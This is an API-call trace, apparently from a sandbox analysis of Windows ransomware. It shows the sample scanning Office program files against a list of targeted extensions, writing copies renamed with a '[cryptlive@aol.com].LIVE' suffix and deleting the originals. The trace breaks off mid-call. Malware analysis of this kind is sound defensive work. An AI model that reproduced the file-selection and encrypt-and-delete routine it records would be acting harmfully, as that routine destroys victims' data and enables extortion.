GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll")) returned 0x20 [0150.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll" (normalized: "c:\\program files\\microsoft office\\office14\\bcsruntimeui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0150.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0150.012] lstrlenW (lpString=".doc") returned 4 [0150.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.012] lstrlenW (lpString=".docx") returned 5 [0150.012] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0150.012] lstrlenW (lpString=".pdf") returned 4 [0150.012] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.012] lstrlenW (lpString=".xls") returned 4 [0150.012] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.012] lstrlenW (lpString=".xlsx") returned 5 [0150.013] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0150.013] lstrlenW (lpString=".ppt") returned 4 [0150.013] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0150.013] lstrlenW (lpString=".zip") returned 4 [0150.013] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.013] lstrlenW (lpString=".rar") returned 4 [0150.013] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.013] lstrlenW (lpString=".bz2") returned 4 [0150.013] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.013] lstrlenW (lpString=".7z") returned 3 [0150.013] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSRuntimeUI.dll") returned 59 [0150.013] lstrlenW (lpString=".dbf") returned 4 [0150.013] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.021] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.021] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0150.147] GetLastError () returned 0x0 [0150.147] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x7df6, lpOverlapped=0x0) returned 1 [0150.309] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x7e00, lpOverlapped=0x0) returned 1 [0150.311] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.311] WriteFile (in: hFile=0x384, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0150.311] SetEndOfFile (hFile=0x384) returned 1 [0150.864] CloseHandle (hObject=0x384) returned 1 [0150.864] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.864] SetEndOfFile (hFile=0x380) returned 1 [0150.952] CloseHandle (hObject=0x380) returned 1 [0150.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 1 [0150.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.954] lstrlenW (lpString=".doc") returned 4 [0150.954] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0150.954] lstrlenW (lpString=".docx") returned 5 [0150.954] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0150.954] lstrlenW (lpString=".pdf") returned 4 [0150.954] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0150.954] lstrlenW (lpString=".xls") returned 4 [0150.954] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0150.954] lstrlenW (lpString=".xlsx") returned 5 [0150.954] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0150.954] lstrlenW (lpString=".ppt") returned 4 [0150.954] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0150.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.954] lstrlenW (lpString=".zip") returned 4 [0150.954] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0150.954] lstrlenW (lpString=".rar") returned 4 [0150.954] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0150.954] lstrlenW (lpString=".bz2") returned 4 [0150.954] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0150.954] lstrlenW (lpString=".7z") returned 3 [0150.954] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0150.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.954] lstrlenW (lpString=".dbf") returned 4 [0150.955] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.955] lstrlenW (lpString=".1cd") returned 4 [0150.955] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0150.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.955] lstrlenW (lpString=".jpg") returned 4 [0150.955] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.955] lstrlenW (lpString=".doc") returned 4 [0150.955] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString=".docx") returned 5 [0150.955] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0150.955] lstrlenW (lpString=".pdf") returned 4 [0150.955] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString=".xls") returned 4 [0150.955] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString=".xlsx") returned 5 [0150.955] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0150.955] lstrlenW (lpString=".ppt") returned 4 [0150.955] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.955] lstrlenW (lpString=".zip") returned 4 [0150.955] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString=".rar") returned 4 [0150.955] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString=".bz2") returned 4 [0150.955] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString=".7z") returned 3 [0150.955] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0150.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.955] lstrlenW (lpString=".dbf") returned 4 [0150.955] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0150.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.955] lstrlenW (lpString=".1cd") returned 4 [0150.955] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0150.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0150.956] lstrlenW (lpString=".jpg") returned 4 [0150.956] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0150.957] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0150.957] lstrlenW (lpString="MSART13.BDR") returned 11 [0150.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0150.958] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=28368) returned 1 [0150.958] CloseHandle (hObject=0x380) returned 1 [0150.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 0x20 [0150.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0150.959] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.959] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0150.986] GetLastError () returned 0x0 [0150.986] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x6ed0, lpOverlapped=0x0) returned 1 [0151.123] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x6ee0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6ee0, lpOverlapped=0x0) returned 1 [0151.125] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.125] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0151.125] SetEndOfFile (hFile=0x3a8) returned 1 [0151.125] CloseHandle (hObject=0x3a8) returned 1 [0151.125] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.125] SetEndOfFile (hFile=0x380) returned 1 [0151.127] CloseHandle (hObject=0x380) returned 1 [0151.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 1 [0151.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.129] lstrlenW (lpString=".doc") returned 4 [0151.129] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString=".docx") returned 5 [0151.129] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0151.129] lstrlenW (lpString=".pdf") returned 4 [0151.129] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString=".xls") returned 4 [0151.129] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString=".xlsx") returned 5 [0151.129] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0151.129] lstrlenW (lpString=".ppt") returned 4 [0151.129] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.129] lstrlenW (lpString=".zip") returned 4 [0151.129] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString=".rar") returned 4 [0151.129] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString=".bz2") returned 4 [0151.129] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString=".7z") returned 3 [0151.129] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.129] lstrlenW (lpString=".dbf") returned 4 [0151.129] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.129] lstrlenW (lpString=".1cd") returned 4 [0151.129] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.129] lstrlenW (lpString=".jpg") returned 4 [0151.129] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.130] lstrlenW (lpString=".doc") returned 4 [0151.130] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString=".docx") returned 5 [0151.130] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0151.130] lstrlenW (lpString=".pdf") returned 4 [0151.130] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString=".xls") returned 4 [0151.130] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString=".xlsx") returned 5 [0151.130] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0151.130] lstrlenW (lpString=".ppt") returned 4 [0151.130] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.130] lstrlenW (lpString=".zip") returned 4 [0151.130] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString=".rar") returned 4 [0151.130] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString=".bz2") returned 4 [0151.130] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString=".7z") returned 3 [0151.130] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.130] lstrlenW (lpString=".dbf") returned 4 [0151.130] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.130] lstrlenW (lpString=".1cd") returned 4 [0151.130] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0151.130] lstrlenW (lpString=".jpg") returned 4 [0151.130] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.130] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.131] lstrlenW (lpString="MSART2.BDR") returned 10 [0151.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.131] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=47188) returned 1 [0151.131] CloseHandle (hObject=0x380) returned 1 [0151.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 0x20 [0151.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0151.132] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.132] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0151.132] GetLastError () returned 0x0 [0151.132] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xb854, lpOverlapped=0x0) returned 1 [0151.152] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xb860, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xb860, lpOverlapped=0x0) returned 1 [0151.156] ReadFile (in: hFile=0x380, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.156] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.156] SetEndOfFile (hFile=0x3a8) returned 1 [0151.156] CloseHandle (hObject=0x3a8) returned 1 [0151.156] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.156] SetEndOfFile (hFile=0x380) returned 1 [0151.697] CloseHandle (hObject=0x380) returned 1 [0151.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 1 [0151.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString=".doc") returned 4 [0151.699] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString=".docx") returned 5 [0151.699] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0151.699] lstrlenW (lpString=".pdf") returned 4 [0151.699] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString=".xls") returned 4 [0151.699] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString=".xlsx") returned 5 [0151.699] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0151.699] lstrlenW (lpString=".ppt") returned 4 [0151.699] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString=".zip") returned 4 [0151.699] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString=".rar") returned 4 [0151.699] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString=".bz2") returned 4 [0151.699] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString=".7z") returned 3 [0151.699] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString=".dbf") returned 4 [0151.699] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString=".1cd") returned 4 [0151.699] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString=".jpg") returned 4 [0151.699] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.699] lstrlenW (lpString=".doc") returned 4 [0151.699] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.699] lstrlenW (lpString=".docx") returned 5 [0151.700] lstrcmpiW (lpString1=".docx", lpString2="2.BDR") returned -1 [0151.700] lstrlenW (lpString=".pdf") returned 4 [0151.700] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.700] lstrlenW (lpString=".xls") returned 4 [0151.850] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.850] lstrlenW (lpString=".xlsx") returned 5 [0151.850] lstrcmpiW (lpString1=".xlsx", lpString2="2.BDR") returned -1 [0151.850] lstrlenW (lpString=".ppt") returned 4 [0151.850] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.850] lstrlenW (lpString=".zip") returned 4 [0151.860] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.860] lstrlenW (lpString=".rar") returned 4 [0151.877] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.877] lstrlenW (lpString=".bz2") returned 4 [0151.877] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.877] lstrlenW (lpString=".7z") returned 3 [0151.877] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.877] lstrlenW (lpString=".dbf") returned 4 [0151.877] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.877] lstrlenW (lpString=".1cd") returned 4 [0151.877] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR") returned 61 [0151.877] lstrlenW (lpString=".jpg") returned 4 [0151.877] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.877] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0151.877] lstrlenW (lpString="ContactPicker.dll") returned 17 [0151.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 